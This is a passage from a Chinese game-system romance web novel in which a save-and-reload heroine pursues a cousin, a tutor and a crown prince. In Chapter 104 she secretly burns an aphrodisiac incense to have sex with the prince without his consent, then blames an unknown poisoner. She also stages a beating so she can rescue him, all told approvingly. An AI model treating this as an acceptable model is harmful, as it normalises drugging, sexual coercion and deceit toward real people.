从他的两个堂哥说起,同龄人,人中龙凤,很会读书,已经在朝廷任职。 “家里没有比你小的孩子吗?” “没。” “感觉你很会当哥哥。” “嘿嘿,那你最喜欢哪个哥哥呀?” “我到现在还只见过你一个。” 杜枕溪摆弄你的手指:“这就说明他们没当好哥哥。” “是啊。” “你手软软的,为什么会有那么大力气。” “想吃拳头,尝尝硬手的滋味吗?” “不想,不想。” 他按摩状揉你的手臂,又捶捶。 须臾,又唉声叹气:“成亲之后,我爹就要亲自看着我读书了。” “不喜欢读吗?” “不喜欢。” “我帮你跟舅舅说。” “可是我不读书做什么,每次惹他生气,他都骂我废物。” “才不是。” “真的吗?” “嗯,而且之后我们不是要从家里搬出去?” “娘给我们买好宅子了,在春风楼那边。” “春风楼是……” 门板被人从外面敲了敲,月梧声音透过窗纸传入。 “小姐,表公子,已经夜深,别再聊了,早些睡吧。” 杜枕溪应声。 你往上挪了挪身子,“我们小声说话。” “好。” “之后你不要做官了,很没意思的。我们做生意吧,我都想好了,开一个可以让人摸猫猫狗狗的茶楼,你肯定能养出很多亲人的小猫小狗。” “让人摸猫狗的茶楼?” “对,摸猫狗必须在店内消费三十文钱……好像有点贵,改成五文。” “怎么不说话?” “在钦佩你能想出这么有趣的主意,我的脑袋就不好用。” 你笑:“让我看看你的眼睛,是不是亮亮的。” “看吧。”他低头朝你眨眼,“够亮吗?” 冷冬的月光都洒在里面了。 牵着的手分开,你带着两人共同捂热的温度抚上他的脸亲吻。 “表哥怎么不说话?” “……我要说什么吗?” 他平躺着喘息,望着临在身上的你。 “算了,在你喜欢上我之前,我不对你做那种事。” 你靠他的怀里拥住他,有种抱到玩偶小熊的安心感。 杜枕溪身体僵硬,想说他现在就喜欢上你了。但这个时候说,很像为了与你行房而勉强出口的说辞。 他才不是色鬼。 他决定忍过去,找个合适的时机告诉你。 第二天敬茶,你见到了除杜枕溪父母之外的杜家亲戚。 表面上都过得去,长辈们客套没想到敏娘的孩子都这么大了。 红包照给,但给完之后就一脸淡漠地拿手帕擦嘴,这是二舅母。 二舅因妻子的冷遇有些不好意思,但碍于两家的关系也没对你表示什么亲近。 大舅母握着你的手,用慈爱的目光上下打量,有些遗憾:“亭亭玉立的女孩。要不是年纪差太多,就把你说来给望月为妻了。” 大舅被茶呛到,咳个不停。 三舅母脸色一变:“大嫂这是说的什么话,我们枕溪除了不做正事,哪里不如望月?” “不做正事还不够吗?每次见到你的儿子都感念你的心胸还真宽广,能容得下自己生下蠢材。” “你!哼,蠢就蠢了,我替枕溪认。但我的蠢儿子取到媳妇了,你的聪明儿子什么时候能成家啊?” “你!” 三舅眼皮直跳:“好了,孩子们还在这站着呢,你们倒是斗嘴痛快,景蕊听着多累!回来,来。” 总之平安度过。 你见到了杜枕溪口中的两位兄长。只是很平常的长相不错的男人,并没有他描述得那么神乎其神。 在你回应他们的寒暄时,杜枕溪始终在你身边陪着。等到他们问起了他的近状,他才紧张兮兮地回话。 回去的路上,杜枕溪闷了好久,问你:“见了望月哥以后,你后不后悔,还想嫁给我吗?” “哪个是望月哥?” “很漂亮的那个。” “你的哥哥在你眼中是很伟岸吗?我觉得你是你们家最漂亮的。” “……真的?” “真的。” “可是我没有出息,做不了大官。” “做大官很无聊,我们不是说好了开宠物茶楼?” “已经定好叫宠物茶楼了吗?” “还要再起个雅致的名字,这个用成小字搭在门匾的下面。” “……你不怕我吗?我很容易被野兽找上,蛇虫也在内。” “为什么要怕?你喜欢那些,就说明你有在我害怕的时候保护我的能力,我很安心。” 年过去以后,三月,你与杜枕溪搬离杜家,在春风楼对面盘下一个店铺,按照你的想法装修店面。 一楼开成普通茶楼,二楼做成和猫狗玩耍的休闲区。这样招收的顾客群体更全面些,既照顾到客人对茶楼的需求,也能凭借触碰猫狗这一特色吸引原本对茶楼没有需求的人。 茶楼刚开起来时无人光顾。路人就算对牌匾的文字感兴趣,也不会为了摸猫摸狗去花钱喝不认识的人做的茶。 你选择用美男计破局,找来林彧在茶楼弹琴。他怕猫怕得要命,坚持不肯上二楼,但在一楼弹琴效果似乎更好,路过的人都为他的琴声痴迷,当天的客流量激增。 林彧的琴,你也弹得出来。 隔天你没再勉强他,自己坐在店里弹琴,但只吸引到一些真正想听琴的人,和你高声望效果下的追随者。 客人自然越多越好。找到窍门,你将卫棠从家里调出来和黑猫玩。 “怎么玩呀小姐?” “越美越好。” “明白!” 卫棠的绝美容颜,加上黑猫萌宠界一流的颜值使得来茶馆玩猫逗狗在汴京城中风靡一时,达官贵人争相效仿。 杜枕溪近来总是一副有话要说的模样,真的分给他时间等他后话,又张着嘴什么都说不出口。 宠物茶馆稳定之后,你将母亲制作的像生花送给他。 得知这花的意义,他将花握得很紧。 “我喜欢你,景蕊。” 你歪歪头:“知道了,今晚要做吗?还是现在?” “我没有…那个…意思……” 他木在原地,脸红得快说不出话。黑猫经过,担心他的身体,喵声望他。 【你选择杜枕溪度过一生】 【二十五岁后,你们经营的宠物茶馆在天下名声大噪。 传闻中,这座茶馆容纳九州奇人异事,不仅有汴京第一手艺的茶点,还养了很多猫狗给客人抚摸,慰藉心灵。 你的事业如日中天,你的爱人俊朗阳光。 但你明明有更好的选择。】 任务2:【成为一名出色的恶毒女配】 【进程100/100】 【满足通关条件】 【系统监测恋爱过程,评定积分中……】 【系统评定恋爱积分为85】 【等级为SR,不满足通关条件】 【闯关失败】 【请读档回你想要的位置】 第103章 回到十五岁的下午。 你结束蹲在地上逗猫的动作。 因为没有赋予它名字, 它和你始终都是自由的个体。比起主宠、亲子,你们更像恪守分寸的朋友。 所以许多年后,在一次次迎来它寿命的终点时, 你都能做到平静对待, 埋葬它的死亡, 读档后与它重逢。 但这是最后一次了。 你有信心这是最后一次。 把黑猫抱在怀里,从头到尾捋顺它黑亮的毛发。 这是你们最后一次相处, 你想要珍惜。但转念一想,在现实中也是这样,甚至没有读档的可能, 成功和失败都只有一次。 你和妈妈只会做一次母女, 路上遇见的人也不会再遇见第二次。 “喵。” 黑猫瞪着圆溜溜的眼睛盯你,对话般:“喵。” 没得到你的回应, 它失去耐心,也不习惯被你这样亲密对待, 两腿乱蹬从你怀里挣扎出去,一股劲跑出很远,才回头好奇地望你。 按下【赵晞】的选项,确定恋爱线路。 到了你构思如何把像生花送给他, 传达成婚意愿的时候。 存档。 读档, 回到废档中与赵晞成为“朋友”的时间点。 最好的答案永远是对方心中的那个。你打算偷个懒, 直接问他本人,或者旁敲侧击获取一些细节。 仲夏的日光格外明亮。你伸直了手指, 看强光照耀下几近透白的皮肤。 “……我跟你说话, 为你解忧,你就当作耳旁风?” 荼蘼花的香味随着他的话语倾袭而来,仿佛一种无形攻击的手段, 作用范围仅限于你。 时间太久,又处于对话中,如果衔接不上会很麻烦。 你久违地点击【剧情回顾】。 这条线路中,你在幼年向林彧展示琴艺才华,引得他注意,被他选作牵制父亲的工具,送进宫中养在皇后身边。 生离之痛使得母亲郁郁而终,此后你再没和沈家联系过,变成了皇后身边受宠的“景蕊小姐”。 林彧作为引你进宫的人,一直对你怀有内疚,额外指点你的琴艺。 虽没有正式拜师,但所有人心中都认为你们是师徒。 为图色的念头,你坚持下去走剧情,成年后对林彧有着非比寻常的攻势。包括但不限于练琴时动手动脚,趁其不备亲吻,用眉笔在他脸上写你的名字…… 越界之后,琴房是你们常去的地方。 本已顺势吃到此人,但从林彧线失败回来的你为了顺利走完他的线路,读档回到关系不上不下的时间点,说了一些直率的心里话,使得林彧气愤逃走,久不出现。 与此同时,你发现太子在听墙角,威胁与利诱之后,你跟他成为朋友,让他做你与林彧的助攻。 此时正是交友成功后,让他帮你想对付林彧办法的时间。他的上一句话是让你对林彧多说些好听的话。 迟迟等不到你的回应,使他感到不快。 “怎么会是耳旁风呢,”你道,“我是在认真思考殿下的建议。不知殿下口中的好话,要怎么说才能让林师父开心?” 赵晞顿了顿,为自己错怪你感到歉疚,表面上没说什么,心里给你想起了办法。 嗯…… 好话。平素从他的嘴里听不来这种话,他不喜欢讨好别人,他的身份也允许他这样任性。就算在帝后面前,他也能够坚持本心,绝不像其他皇子公主一样嘴甜讨好长辈,他觉得那样很谄媚。 同理,他也不喜欢听别人的好话,总认为是假的。 要让林彧开心的好话,他更是想都没想过。 “殿下没有头绪吗?” 赵晞道:“我帮你问林彧的身边人?他那几个小厮,一个比一个会奉承。” 是这样不错,你已经领略过了。 林彧有两位贴身小厮,从小跟他一起长大。 两人都一副本分老实的姿态,因为伺候林彧这种脾气傲慢的主子,在奉承方面有些非比寻常的功法。 招一,直接夸赞。 “公子今天真是光彩照人。” 二,间接夸赞。 “夫人穿这身衣裳,压过汴京城上下的女眷。也就只有我们公子能配得上您了。” 三,比喻夸赞。 “公子,您难受什么!今年是老了一岁,但男人如酒,总是放得越久,越有醇香的滋味……外面那些初出茅庐的毛头小子,咱们夫人还看不上呢!” 打压夸赞。 “方才听夫人身边的卫棠说,公子衣裳来来回回都是一个样式,我当时骂他没品,除了颜色,款式完全不一样!每一件拿出去都有独一无二的纹样,天底下也就我们公子有这份雅趣欣赏,其他都是俗物!” 你道:“问他们没用,好本事不外传,饱了徒弟饿死师父。” “那怎么办?” “我想到说什么他能开心了。” “什么?” “我要说,”你朝赵晞挪了挪,“林师父……” 他察觉你的有意接近,没有躲闪,等在原地看你想做什么。 你停在了一个并不算过近的距离,道:“林师父,你的琴真好,很贵吧?” “……” 赵晞愣住,漂亮的、微圆的眼睛眨动,片刻,溢出星星点点的笑意。 他懂这个。 林彧出了名的爱琴,你夸他的琴好,他一定开心。 “很聪明嘛。” “多谢殿下夸奖,我也试试说您爱听的话如何?” “试试。” “美貌。” “听腻了。” “香气逼人。” “我最烦这个。” “侠肝义胆,忠正之士。” “……” 他有所动容,但不打算承认。 “我可是太子,你用这些词奉承我有什么用。” “如果有人能不在乎您的身份,喜欢上本原的您……” 你看着他眼中浮现一丝向往,然后立刻竖起防盾:“你在试探我?” “只是在尝试展示我的聪明,说些让殿下高兴的话。” “那你笨死了。” 他有些郁闷地起身离开,炸鸡和果茶都剩在那。 你用筷子点了点,炸鸡的表皮还酥脆着,于是一个人坐在那把东西吃完。 之后几天不见太子。景妍来找你,带来太子送的黑珍珠,都是之前经历一遍的事情,因你的态度的变化,产生的影响不再一样。 太子来帮你戴手链时,随口提了句:“你还是不能原谅你庶妹吗?” “嗯?” “之前那次她进宫,是我放她进来的,我们是朋友。你很生气?” “为什么这么问?” “沈景妍出宫时脸色不好,见到我也只是强颜欢笑,想也知道,你对她做了什么。” “……” 你陷入回忆。 在短暂的相会过程中,景妍有过失望的眼神。对她来说你们的相见来之不易、阔别已久,但对你而言这里的见面没有任何意义,之后回到主档你们会真正见到。 “殿下朋友很多?” 他没想到你把话题拐到这:“当然。” “怎么办。” “嗯?” “我有点不高兴。” “啊?” “我只有殿下一个朋友,为什么殿下要有那么多朋友呢。” 赵晞目瞪口呆地沉默。 你道:“开玩笑的。” “……不好笑!” “今天天气不错,我们去哪玩好吗?” “热死了,你叫天气不错。” “阳光好都是天气不错。” 你拉着赵晞去了宫中射堂。 既然他亲口说看到你射箭喜欢上你,你决定演习一遍看他的反应。 在进入射堂的时候存档。 用惯了武力值满值的身体,冷不丁切换到普通体质有点不适应。你决定先自己热身,再表演给他看。 “……” 力度不对,不是太松就是太紧绷,你的箭到处乱飞。 有一根偏移过分,射穿了内侍的冠帽,吓得他直跪到地上。 赵晞束手在阴凉处站着,眼见着你的心越来越乱,他走到太阳底下纠正你射箭的姿势。手落在你的肘部,向上微抬。 你正烦着,他过来凑热闹,直接将箭对准他。 “离远些。” 赵晞:“……” 最后一箭,你找到了操控身体的感觉,一箭中心。 从箭筒中拿出羽箭,搭弓拉满射出,一气呵成,再次中心。 连续不断的箭矢从你手中射出,雨落般几乎将靶子打穿在地。 “沈景蕊……” 体力达到极致—— 读档。 回到初入射堂时。你熟练地挑起自己刚刚用的那把弓,捏了双箭到弓弦上,打算让他对你心怀钦佩。 你做到了双箭中靶,但赵晞并没有什么异常的反应,目光平淡。 你的技艺虽算出挑,但他见过射箭更好的人。 见你面露疑惑盯着他,他明了你的想法,哼地一笑。 “想我夸你,没听到表扬不舒服?” “……” “沈景蕊,你箭射得真好啊。” 你无语地扔了弓箭,开始思考赵晞骗你的可能性。 那种时候,他应该不会说假话。 难道是年龄问题,小女孩射箭更容易让他佩服?或者说,在当时你们相遇的年龄,他的技艺不如你,所以会为你的射艺折服动心? 想让他再次动心、爱上你、打出一个完美结局,应该需要你在什么领域碾压过他。 由此可见,他除了渴望别人纯粹爱他以外,本质上还是个慕强的人。 “生气了?” 你遮着阳光朝射堂外走,赵晞在身后跟着,语气正经些。 “我没想惹你生气,就是开玩笑。你不喜欢的话以后都……” 他身上的异香被阳光照过,增添几分清新温暖的味道。 就算在室外,也随着蒸箱般的气温将你整个人烘在里面。听不进去他讲话,但想要听到他的声音,想看着他说话时翕动的唇瓣,紧紧贴合,做些不需要动脑的事。 这种感觉很不赖,如果不是游戏的设定,你很难自己产生这种感觉。 毫无缘由地被一个人迷住,跟他玩些恋爱游戏,在床上展示出真实面目。 脖颈上仿佛有电流经过,你捂住发麻的地方,被赵晞追上。 他担忧地看你:“是中暑了吗?” 第104章 要睡他吗? 你是为套话, 保全主档的攻略才留在这。 强行睡的话可能会惹他生气,或者睡出感情问不出他的真心话…… 但他有这样的设定,不就是为了给你睡的吗。多余的事可以存档, 之后读档覆盖住就恢复正常了。 打定主意, 你调出虚拟面板, 打开【背包】,找出【暖情香】。 墨条般的道具落在你手里, 被长袖遮掩着。 赵晞没听到你的回音,见你面色赤红,眼睛浸泡了温水般潮湿, 有些慌乱:“还好吗?我带你去……” 眼睁睁看你吹燃火折子, 用火苗触碰一个黑条。 他疑惑:“你在做什么?” 【剩余次数4】 “……!” 奇怪的感觉。 像是有人的手从脚底漫出,攀着他的双腿上爬, 附在他的耳边说话。 说—— “嘴张开些。” “唔。” 沈景蕊? 怎么回事…… 他想要推开你,却在触碰的瞬间手掌与你的后腰粘合。 拿不掉, 移不开。 为什么会发生这种事? 分开喘息的间隙,他眼中带了恨意:“你对我做了什么?” 指尖抚过他润泽的下唇,揪住他的舌头。 他呼吸沉重几分,怒目而视, 模模糊糊斥责:“你才拿了箭支!别碰我!” “我说别碰我!” “你不想亲我了吗, 你把我捏脏了!” 你仰头望他:“那怎么不推开我?” “还不是你!你对我做了什么, 我好奇怪!我……呃……痛痛痛!” “我倒是想问殿下对我做了什么,我现在变得很奇怪。” 你反咬一口, 体现恶毒女配的良好修养。 他呼了声:“我……没做什么……你怎么好意思摸我那里的!这是外面!” “从你亲我的那一刻, 这条路上的人已经都被你的内侍赶走了。” 安静许久。 他身子发软,站立不住,向后退几步, 靠在一棵老槐树粗糙的树干上。 “我亲你……是我先亲的你?” “是,无论怎样挣扎,殿下都不放我走。好欺负人,殿下。” “……我” 你动了动同样发软的腿:“殿下现在要放过我了吗?若是放过我,我便回去了,今日之事我可以当作没发生过,以后我们还是朋友。” “明明被做了这种事,可我却没有办法舍弃与殿下的友谊,因为我只有您这一个朋友……” “……” 你缓慢地跌坐到地上:“为什么没办法支配身体了,殿下,你有解药吗?我们今天这样,是不是被人下了什么东西。” “我在话本里看到过,说是不纾解就会死呢……” “我要被殿下害死了。” “……别说了。” 他将视线瞥到一旁,明明装的是被日头晒得发蔫的花草,眼睛却像要烧起来。 他无法思考下药的人是谁,脑子转不动。 若真有其人,应是冲着他来的,你是无辜被连累。 但他却吻了你。 不继续下去就要死的话,他不会看着你死的。 “我可以……” 恍惚间,你已走近剥他的衣服。 “殿下可以什么?” “……我可以帮你把林彧抓来。” “不喜欢这个答案。” “……” 他沉默片刻,打算忘了在你们之间成为负担的那个人。 “啊!怎么只脱我的!” “上一次洗是什么时候?” “什么?” “这个。” “你怎么拿起来了!你不害羞吗?” 但老实回答。 “来见你之前。” 因为身有异香的缘故,不愿被人侧目,他洗澡的频率很高。 进去之前,你装作一副悲伤的样子。 “我还是喜欢林师父。” 他顿了下,用额头抵住你的,让你抬起些脸。 “我们今天都这样了,你喜欢他也没用……” “都怪殿下。” “我可以娶你。” “可我不想嫁给你。” “………………” “怎么不动了?” 好意思问。 他心里开始难受,但目光流连在你的脸上,看到你嘴角的笑,又明悟你在故意说那些话玩弄他。 愈发浓郁的香味仿佛抽走你的筋骨,树下的光斑在皮肤上转动。 玩闹过一通,认认真真地履行动作。你们差不多同时从昏头状态中清醒过来。 此时赵晞身上的异香最为浓郁,却不再会对你起什么特别的功效,变成了普通好闻的香味。 看来需要亲身品鉴一次,才能产生体香功效的冷却期。 你穿好自己的衣服,随手帮他拉了一把里衣裹肩膀。 他拢领子,声音有些发哑,是刚刚用过了头:“此事我会调查出幕后真凶,还你公道。” “你当真不嫁我?” “不嫁呢,我们是朋友,朋友不可以成婚。” “朋友也不可以……!” 他没说下去。 你拉他的手,将脸凑过去。 “殿下不会因为这件小事就不跟我做朋友吧?我真的只有你一个朋友。” “……知道了,还是朋友。” “真好啊,殿下人美心善,像话本里的侠客呢。” “……” 才褪下情欲的眼睛多了些动容,像春天初生的朝露般。 你将他的反应收在眼里,记下这句能攻略到他的话。 还真单纯。 见你转身离开,他边系腰带边跟上:“你要去哪?” “回房休息了。” “有哪里不舒服吗?” “还不错,多谢殿下招待。” 他给你的体验并不如何,很是青涩,但官配特供的体香催发下又弥补了技术的不足。 你知道他现在心里发慌,初经人事总要胆怯,伸手抱住他安抚。 “没事的,殿下也回去休息吧。” “……我又没说有事,放开我。” “好。” “……” * 你与太子光天化日亲吻的消息没有瞒得住皇后。 或者说瞒不住太子之上的两个当权者。普天之下没有他们不能知道的消息。 你与太子两情相悦是皇后喜闻乐见的事。 皇帝也没说什么,只是突然发现小儿子也到了该说亲的年纪。本想给你们赐婚,但皇后的意思还是一步步来,等太子什么时候求到他们面前,什么时候再开口也不迟。 你们见面的机会变多了。 皇后每日都要召见太子来宫里过问他的课业。那日与你……之后,他无心致学,林彧又闷在家里不出门,少傅不敢监管他。 所以每次皇后问他什么,他都答不上来。本来是用作召见借口,让他进宫多和你相处,几次三番对答不上后,皇后冷下脸来吩咐人抽他手板。 “给我看看。” 你捡他的手到眼前,手指修长,掌心通红。 赵晞很是不服:“我背那些酸诗有什么用!打我打我!就知道打我!” “殿下认为是酸诗吗?我很喜欢那句。” “你喜欢背来听听?” 你:“……” 他哼地笑,要将手抽回来。你忽然对着他打痛发麻的掌心吹气,呼呼的软气将疼痛吹得淡些。 “可好些?” “……嗯。” “殿下知道林师父喜欢的颜色吗?” 他想说不知道,但林彧喜欢的颜色实在一目了然:“白。” “我记下了。殿下喜欢什么颜色?” 赵晞没想过这些:“你问我喜欢的颜色做什么,不是想嫁林彧?” “不能问吗?我以为我们是朋友……” “喜欢蓝。” “哦。”他在宫外的确喜欢穿深深浅浅的蓝衣服。 你把这件事放在心上,隔天再见穿了蓝色的衣裙。 赵晞扫了你一眼,并没有什么多余的反应,你平常就穿这些颜色浅的衣服。 他这次来是为了找你说其他的事。 “过几日秋狩,你也出宫走走如何?” 你自从八岁被送进宫,一次宫门都没出过。 在赵晞心里,这和被关进监牢没有区别。宫中什么都没有,哪有宫外自在。既然是朋友,他想带你去宫外玩玩,但苦于没有借口过母后那一关。秋狩就好了,他母后也会出宫观摩,你只要收拾东西跟着他就可以。 “你没有朋友,就跟我一起。” “好啊。我该准备什么?” “去挑匹你骑得惯的马,你会骑马吗?” “殿下要教我吗?” “教,谁让我是你唯一的朋友……你笑什么?” 他已经接受这个设定了。 你坐得跟他近些:“笑殿下真好。” “哼。” “下药害我们的人找到了吗?” 你将声音放轻,他不得不凝神,集中注意到你的声音上,于是你的呼吸变得明显起来。 “没找到。那天我遇见的所有人都被我抓起来盘问,找不出是谁做的,对不起。” “殿下可害惨我了。” “对不起。” 你捏他的下巴,在他微微瞪大的双眼中印下自己的轮廓。 唇瓣贴在一起,分开。 他震惊:“你……” “思来想去,还是恨殿下,想讨债。” 他松了防备,俯身吻你的脸颊,两手撑在你身边,将你整个人笼在怀中。 “还想怎么做?” “殿下把舌头伸出来。” “我是狗吗?”他不满。 “那就汪一声。” 舌头伸出来了。 你笑了笑,拉他的舌头,吻在一起。 “沈景蕊。” 一道不该在这种时候出现的声音响在门口。 你回头看到背光站在门外几步远的林彧。想说什么,但腰间一紧,被赵晞带回他的怀抱。 “现在,看着我,亲我。” 他低声说。 你眼神很淡地望他。 他手指蜷缩,在你腰侧动了动。 “亲我,不然我们就做不成朋友了。” 静默许久,不论是你还是赵晞,抑或是门外的林彧,没有一个人说话。 半晌,你才道:“好。” 然后凑到他脸前啄吻,从眉心到鼻尖,最后到嘴唇。 下唇被赵晞含住,他精致的眉眼近在咫尺,略带攻击性地盯你。 你听到室外的几声惊呼。 “公子!” “林大人!” “快叫医者!我们公子晕倒了!” 第105章 “太傅这是久绝饮食之症, 脾胃败,气血亏,命如累卵。” 宫中客馆, 林彧躺在床榻上紧闭双目, 脸庞瘦削, 容色灰白。 皇后双眼泛红,坐在床边拿湿帕子擦他的脸。 “秋荣, 你可知你家公子为何断食?” “回娘娘的话,此事在家中快闹了一月了,便是夫人问公子也不答, 小的……小的也不知道啊……” 皇后叹了口气。 是这样。她了解弟弟的性子, 林彧不想与旁人知晓的事,便是地狱阎罗来了, 也没法从他口中撬出。 只是。 他在长辈兄姐千娇百纵下长大,向来自恃高才, 分明是傲慢清高的人,岂会为一件事闹到绝食的地步。 到底是为了什么。 “母后。” 皇后回过神,目光落在姗姗来迟的赵晞身上。容颜好的人出现,即便身处暗室也能带来光明, 让人心中敞亮。 “晞儿, 来看你舅舅了。” “拜见母后。小舅舅还好吗?” “太医说先养胃气, 给他开了几副药,药房正煎着呢。” 她扶着宫女站起身, 一脸倦怠:“你既来了, 且先在这守着,等你舅舅醒了,让他来坤宁宫见我。我有些头痛, 回去歇息午眠了。” “是。” 皇后离开后,你从太子身后的内侍间站出身子,摘下交脚幞头到林彧床边看望。 如果没记错的话,他这样折腾自己是因为你数落他的那几句话。 他是下定决心来找你,却看到你与其他男人亲密的场景。 赵晞清退室内的其他人,包括林彧身边的小厮。但他们死死跪在地上,不敢移位。 林彧在院外门口见到的场景,小厮也同样见到了。 如果公子是因为景蕊小姐和太子殿下吻在一起,急火攻心昏倒的话,那就说明他们之间关系不正常,有什么他不知道的秘密。 这种时候把昏迷的公子放在这,他担心这两位会做什么对公子不利的举动。 比如下毒害死公子! 这样他们就能比翼双飞、鸾凤和鸣…… 不对,公子活着对他们也没什么影响。公子到底是不想景蕊小姐嫁给殿下,还是不想殿下娶景蕊小姐? 都怪公子什么事都自己闷着,神秘兮兮不告诉他们!要是把心事都说给他们听,他就能在这种时候给公子拿个主意了! 赵晞声音冷落:“怎么,本太子的话不管用?脑袋不要了吗?都滚出去!” “……” “走吧……” “……” 两人跪着退了出去。 宫女将药端进来,附了一碗软粥。敏锐地察觉到太子殿下心绪不佳,她选择只跟你沟通。 “景蕊小姐,这是林大人的药,御医说不烫以后再喂进去,但也不能放得太凉。两刻之后试着把他叫醒,将饭喂进去。” “好。” 太子盯着那碗药,郁闷针刺般捅穿心脏。 为什么不认识的宫女要让你给林彧喂药,你们的事很多人都知道? 但你和林彧最多也就亲过,他和你却做过那种事了,为什么没人把你当作他特别的人? 你盛了一勺药汤,吹得温了用嘴唇试温度,要给林彧喂下去。 勺子沉到一半,赵晞忽然伸头过来喝掉,顺势把勺子咬在嘴里,从你手中夺走。 你:“……” “朋友殿下,您怎么了?” “你都挨到嘴了,不许碰我小舅舅,你想趁他睡着非礼他吗?” “提醒了我。” “沈景蕊!” “开个玩笑,殿下。” “…………………………” 他久久不回话,只用充满怒气的眼睛看你,然而看得再久都这一副表情。你不再理他,拿盛粥的勺子喂林彧药。 药汁下去,顺着他的轮廓流进身下。你凑近擦了好一会儿,再喂时,你用手指分开他的嘴唇,指腹按过他的牙齿,想分出一丝缝隙。 “沈景蕊!” “又……” 赵晞从后面搂过你的腰,将你整个人抱离林彧,放到一边。 “你别碰他,我来。” 他低声说了这么一句,调头到床边蹲下,手腕一动,用巧劲打开林彧的嘴。 另一只手把药全部倒进林彧的嘴里。 你愣了愣,捏着勺子快步走回去,果不其然,在药汁进到喉咙里的瞬间,林彧被呛得咳了起来,痛苦喘息。 “林彧,你没事吧?” “咳咳咳咳咳咳咳咳咳!” 咳嗽的劲过去,他勉强顺过气来,定了定眸,落在你身上,一瞬间仿佛有冰锥横生。 “别碰我!” 吼了一声,他双眼不知节制地落下眼泪,大口大口喘息。 你真的收回手,他又伸手抓住你。 良久,整理好情绪,眼神望向静观望他惨状的另一人。 “殿下竟在此处,臣当下跪叩见才是。” “……小舅舅跟我生气吗?” “不敢。” 他将头转向墙的里侧,深呼吸,将手拢上你的肩膀,头抵在上面。 “殿下先出去吧。” “……” 赵晞沉默离开。 他走了,就轮到你。 “没什么话想说吗?” “没。” “你的贱人来了,景蕊。”? 林彧勾开他已经松散的衣襟,露出沟壑般的胸肌。“不想要了?还是你有新的目标了?” “……” “我不如他?我相貌不如他?” “他是皇帝的儿子,是未来的天子,这种人你也敢碰!” “林师父……” “为什么?” “景蕊,”他两手扣在你的背后,想要把你按进身体里,“为什么你明知我来还吻他?你们背地里做我都不会生气,看不见就当不存在好了。我早就想过你能那么对我,就能那么对别人。现在是什么意思,你不想跟我继续了,你不想嫁给我了?之前是我不好,我说错了,能不能再问我一遍?” “……” “好吵啊你。” 他以为自己听错了:“你嫌我吵?” 你道:“那天你离开不是已经拒绝我了?” “我没有!” “你拒绝我,我还不能找别的男人吗?” “我没有!” “好,那现在我拒绝你。” “你想我死吗?” “好麻烦,别让我后悔当初喜欢你。” “我立刻去死!” 你没忍住笑了,一种无奈而无语的笑,抬手勾他的长发。 在他的线路里,他没出现过这一面。 “你这样还是你吗?林彧。” “……” 你站起身。他失去了方才紧箍你的力气,垂着长发看不清表情。 一路无言,你回到在坤宁宫的住处。关门时,赵晞挤了进来,臭着脸:“聊很久啊。” “我喜欢林师父,自然聊得久些。” “骗子。” 他走近你一步:“从最开始就没有下药的歹人,我那日之所以对你做那些事,是你做的手脚。你点了催情功效的香,是吗?” “殿下要冤枉朋友吗?你有证据吗?” “怎么没有!不然我怎么可能明知你和林彧有情还对你有感觉!我根本不喜欢你!” “殿下是不知怎么对林师父解释,恼羞成怒想诬陷我?” “本殿下从不做宵小之事!我们从现在开始不是朋友了!你别想再算计我……怎么不说话?” 赵晞明显慌了下:“你不会要哭……” 他低头到你面前,被你抱住吻,手一点点刮他耳后。 “殿下不是对我没感觉吗?” “你呼吸好急啊。” “要掀开衣服看看你自己吗?” 赵晞意识到自己又坠入了你的圈套,且无法自救。 他握住你作乱的手,有些崩溃,“都是你,沈景蕊,如果不是你对我做那种事,我就不会……” “你不喜欢林彧,也不喜欢我,你只是想睡我们。” “话说清楚,我从没同时睡过人。” “以后我们不是朋友了。” 他留下这句话,头也不回。 存档。 读档,回到主档十五岁。 你有了对付赵晞的思路。 在几乎同样日期的另一个时空里,你在街头堵到了他。 他脸上戴着特殊制作的丑面具,捂住整张脸,隔绝了他的体香,背剑四处观望寻找可能求助之人。 他发觉了你的目光,视线定在你的脸上,轻盈几步到你面前。 “今天怎么就你自己?你的侍女呢?” 你抬头望他,笑盈盈的:“关你什么事?” 赵晞:“……” 你绕开他走人,摆出一副厌恶至极的模样。他快走几步到你身前,面朝着你倒走:“这么讨厌我啊,看到我就走。说说看,你在等谁?本……本大爷帮你带到眼前。” 你道:“不必劳烦,可以让让吗?” “为什么要让,这路是你爹修的?” 你顿了顿,大声喊:“救命啊!他欺负我!” 赵晞愣了愣,丑面具凝固住般:“喂,沈景蕊,你……” “别碰我!” 他沉下目光:“就那么入不得你的眼是吧?丑死你算了!” “住手!光天化日之下,竟敢这么对弱不禁风的小小姐!” 卖炒栗子的商贩道:“看他不顺眼好久了!每次这小姐出门他都上赶着黏糊,快来个人主持公道吧!” 大块头拳头对在一起撞了撞,挡到你身前:“就是你要欺负人?” “公子别动,让我先来给他几掌!” 赵晞被人围住了。他很生气:“我平日里帮你们的忙都忘了吗!我又没做什么坏事,这么对我干什么!你们还有没有良心?” “呸!举手之劳竟然被你当作恩典记住了,就算你救了我的命,想欺负那小姐就是不行! 你已经无声无息踏上回家的路了。 赵晞伸直脖子叫你:“你不是会武,讨厌我亲自打我啊!你让别人欺负我算怎么回事!” 你没有回头。 回家的步子一顿,你绕路去找了宁师父。 校场上他正操练新收的兵,听到你来了,热情地把你这个武力天才给他们介绍一通。军令交代出去以后,他才有闲暇问你找他干什么。 你道:“我想让师父帮我教训一个人。” 宁师父行动效率很高,第三日在街上堵到戴着丑面具的赵晞便差使手下去打人。 “放心,小沈,保证把他打得屁滚尿流。对了,你们什么仇怨啊?跟师父说说。” “没有仇怨,我想要在他最绝望的时候救他,让他爱上我呢。” 第106章 听到你的话, 宁师父愣了一愣,仰头大笑。 他笑得实在大声,引来了重重包围之下与小兵撕斗的赵晞的注意。 在他将目光投来的瞬间, 你朝宁师父踢去一脚, 脚掌隔着鞋底踩他的胸口, 将他整个人钉进地里几寸。 “啊噗!小……” 你蹲身给他一拳,因为是背对着赵晞那边, 只要把架势做得足够,落拳并不需要太用力。 “师父,抱歉, 回去后我会送东西补偿您。为了意中人的心, 我不能让他知道我和你是一伙的。” 宁师父从被打的懵劲里缓过神来,眼角的皱纹深了深, 笑得十分兴奋。 “那就跟老头子我正儿八经打一场!” 他挥拳上来,你向后仰头, 险险躲开,拳风吹扬起你鬓角细碎的发丝。 “徒儿领命。” 你伸掌做剑横劈对方面门,趁宁师父躲闪迅速后退,抬眼时下一拳已经到下颌。 “小心!” 赵晞勉强破开一个缺口, 向你奔来。 宁师父嫌弃:“那小子除了身量高些, 轻盈些, 长了那张丑脸。你家哥哥弟弟哪个不比他强?” 